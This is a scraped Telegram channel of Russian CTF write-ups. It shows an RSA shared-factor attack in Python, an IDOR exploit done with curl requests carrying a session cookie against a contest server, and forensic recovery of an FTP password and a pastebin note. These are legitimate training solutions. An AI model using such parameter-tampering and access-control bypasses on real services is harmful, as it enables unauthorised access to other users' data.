Райтапы по CTF{2025}
2.83K subscribers
215 photos
25 videos
87 files
391 links
☺️ Уютное сообщество для публикации райтапов с разных CTF соревнований и платформ

💬 Наш ламповый чатик: @writeup_chat

✍️ По любому вопросу можно писать мне: @freenameruuuu

Таски решать тут: @writeup_ctf_bot
Download Telegram
#crypto #medium #writeup
Kuban CTF – "Двойная проблема" от @Max_RSC (ТОП-10 на HackerLab)

Перед нами очередная задачка из мира CTF, где дают слегка кривую (точнее — уязвимую) реализацию RSA. В этот раз на входе у нас два модуля n1 и n2, одинаковая публичная экспонента e, и одно зашифрованное сообщение c. Все необходимые данные приведены непосредственно в тексте поста, поэтому отдельный файл не прикладывается.

Ключевой момент: когда дают сразу два разных n, у них может оказаться общий делитель. Если так, то мы фактически получаем одно из простых чисел, из которых складывается модуль n. Безопасность RSA держится на сложности факторизации, и как только мы каким-то образом обошли эту сложность, остальное — детская арифметика. То есть задача опирается на тот факт, что RSA небезопасен, если модули разделяют хотя бы один множитель. Если мы найдем один из множителей, например, p, то после этого сможем легко посчитать функцию Эйлера, найти приватную экспоненту d и расшифровать флаг.

Чтобы найти p, подтягиваем функцию gcd из библиотеки math:
from math import gcd

Подставляем числа, которые даны по условию:
n1 = 85301229878846970301323107702818609695755812591124862399151849850592748938587788039100822431199468780483863005508930154818093365993106028516482945027104435477220021520315775763582770886230113033749748971338316409196598045001663482949869374010947883957820793242137793210215930782186351794325806945717508347881
n2 = 109513893064865824312887126037695992618837379743053225051510712684706298394844250173030307725980622229363463153247419002611731684061578669993893758240971054995662819118490841792391822485215186261857628830400956404892168386609596159676364114308057445982469895464743365411603666960249026127185036946732158072467
e = 65537
c = 80523060741828874775927939583674208314359823391190778967023421748976347340246911181413681174368696929906966394615901583879335335760357963720615301569603850444832668348817460953008596314270793433890476685628856002996942980704863201169642782967237984763737464120837902881702995220342897353879003315047260081532

Вычисляем общий делитель:
p = gcd(n1, n2)

Теперь у нас на выбор два пути: либо закинуть все это добро в онлайн‑сервис (вроде dcode.fr) и быстро получить результат, либо честно проделать руками в Python — ради спортивного интереса займемся вторым (хотя на соревнованиях я выбираю первое :D)

Находим второй множитель для n1. Про n2 в данном случае можно смело забыть — он уже отработал свое:
q = n1 // p

Считаем значение функции Эйлера, то есть phi от n1:
phi_n1 = (p - 1) * (q - 1)

Далее вычисляем приватную экспоненту:
d = pow(e, -1, phi_n1)

Ну и кульминация: расшифровываем сообщение:
m = pow(c, d, n1)

Остался финальный штрих — превратить число в строку. Новичков может сбить с толку момент с bytes.fromhex(...). Дело в том, что функция ждет строку из шестнадцатеричных символов. Когда мы пишем hex(m), то получаем строку вида '0x...'. Поэтому [2:] аккуратно обрезает приставку '0x', и тогда все работает без ошибок:
flag = bytes.fromhex(hex(m)[2:])
print(flag)


💬 Канал & Чат | 📺 RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
30🔥72
corpfiles_src.zip
32.6 KB
#web #medium #writeup
Kuban CTF – "Корпоративное хранилище" от @LiamSOMHOLD

Это не просто папки и файлы, это настоящая крепость... ну, или так кажется. Попытайся не спалиться и докопаться до сокровищ. Кто знает, может, там и не только отчёты по бюджету.

Формат флага: CSC{...}


Есть две уязвимости это ошибка в обработке user_id в /api/files (То есть можно подставить два user_id и обмануть проверку) и отсутствие проверки владельца при загрузке файла /file/<file_id>
curl -s "http://62.173.139.193:16003/api/files?user_id=1&user_id=23" \
  -H "Cookie: session=eyJ1c2VyX2lkIjoyM30.aKmUNw.Rm7rIOuABeAEHoyrtOGu-w-GoOQ"

И получил ответ
{"files":[{"file_id":"b00b73ebe000","filename":"secret.txt"}]}

Ну и дальше
curl -s "http://62.173.139.193:16003/file/b00b73ebe000" \
  -H "Cookie: session=eyJ1c2VyX2lkIjoyM30.aKmUNw.Rm7rIOuABeAEHoyrtOGu-w-GoOQ"

И будет сам флаг.

💬 Канал & Чат | 📺 RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥14
#forensics #medium #writeup
Kuban CTF – Файловый трансфер от @Rean1mat0r (ТОП-5 на HackerLab)

Открываем дамп трафика в Wireshark и смотрим файлы в дампе:

Файл -> Экспортировать объекты -> FTP-Data

Сохраняем архив archive.zip, он запаролен

Смотрим TCP потоки и в потоке 5 находим:

220 (vsFTPd 3.0.5)
USER transfer
331 Please specify the password.
PASS 7+N42D(Msj9:
230 Login successful.

Пароль подходит к архиву, в архиве файл secure_creds.txt с таким содержимым:

/RteVGJrn

PMkEaBLVfp

/RteVGJrn очень похоже на какой то эндпоинт

Исследуем TCP потоки и в потоке 13 находим адрес pastebin.com

Заходим на pastebin.com/RteVGJrn вводим пароль PMkEaBLVfp и получаем заметку с флагом

💬 Канал & Чат | 📺 RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
112211
#forensics #medium #writeup
Kuban CTF – MTF от @Rean1mat0r (ТОП-5 на HackerLab)

Дан дамп MFT

Гуглим MFT Forensics и находим утилиту MFT Explorer

Открываем в ней наш дамп и изучаем

Проверяем папки пользователя, такие как Desktop, Documents, Downloads. Ничего интересного не находим. Но в файле истории команд Powershell ".\Users\trager\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt" находим такое:

ASCII: cd ~/Desktop
1..5 | ForEach-Object {Set-Content -Path "test$_.txt" -Value "$_" }
1..50 | ForEach-Object {Set-Content -Path "test$_.txt" -Value "$_" }
1..150 | ForEach-Object {Set-Content -Path "test$_.txt" -Value "$_" }
ping 192.168.58.132
cd C:\Windows\
ls
echo 1 > Doc
ls
echo "43 53 43 7B 6D 34 73 74 65 72 5F 66 31 6C 65 5F 74 34 62 6C 65 5F 70 34 73 73 65 64 7D" > Doc
cat .\Doc
cd C:\Users\trager\Downloads\
ls
./fast_x64.exe --packages dump --dump mft
.\FastIR_x64.exe --packages dump --dump mft

Декодим из хекс 43 53 43 7B 6D 34 73 74 65 72 5F 66 31 6C 65 5F 74 34 62 6C 65 5F 70 34 73 73 65 64 7D и получаем флаг

💬 Канал & Чат | 📺 RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
81
Подборка райтапов с прошедшего AlfaCTF:

Задания кстати все еще доступны
https://alfactf.ru/tasks

🛡 Защита от спама
(https://t.me/writeup_ctf/784)
#Easy #Infra #Web

🎶 Звуки ностальгии
(https://t.me/writeup_ctf/783)
#Easy #Misc #OSINT

🌊 Цунами дедлайнов
(https://t.me/writeup_ctf/793)
#Easy #Web

🌈🎛 Кислотный ретровейв
(https://t.me/writeup_ctf/786)
#Easy #Web

🌴💰 Пальма с биткоинами
(https://t.me/writeup_ctf/785)
#Easy #Web #JS

👨‍💻🏖 Разработчик на пляже
(https://t.me/writeup_ctf/790)
#Medium #Infra #Dev #Pentest

🎵🌀 Вихрь рик-ролла
(https://t.me/writeup_ctf/789)
#Medium #Web #Logic

🐺🌊 Шакализация волны
(https://t.me/writeup_ctf/788)
#Medium #Web #OAuth #Client

📹🚁 Десант блогеров
(https://t.me/writeup_ctf/787)
#Medium #Web #Logic

🌇🛠 Фиксы в лучах заката
(https://t.me/writeup_ctf/792)
#Hard #Forensics #Linux #Infra #LPE

🥒😈 Дикий огурец
(https://t.me/writeup_ctf/791)
#Hard #Pwn #Python

🏍⚡️ Непослушный мотоциклист
(https://t.me/writeup_ctf/795)
#Hard #Coding #Reverse #Network

🧱🔙 Возвращение стены
(https://t.me/writeup_ctf/794)
#Hard #Web #Client

💬 Канал & Чат & Бот с тасками| 📺 RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥1433